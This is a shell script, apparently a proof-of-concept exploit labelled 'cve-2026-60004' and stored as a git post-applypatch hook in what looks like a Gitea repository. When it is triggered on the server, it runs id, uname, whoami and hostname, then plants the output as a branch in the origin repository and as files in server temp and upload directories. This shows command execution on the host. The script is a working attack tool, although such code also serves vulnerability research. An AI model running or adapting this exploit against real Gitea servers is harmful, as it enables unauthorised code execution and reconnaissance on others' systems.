Files
poc-75aaaf4d/hooks/post-applypatch
T
2026-10-30 14:21:53 +00:00

27 lines
1.1 KiB
Bash
Executable File

#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'id; uname -a; whoami; hostname' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-75aaaf4d "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0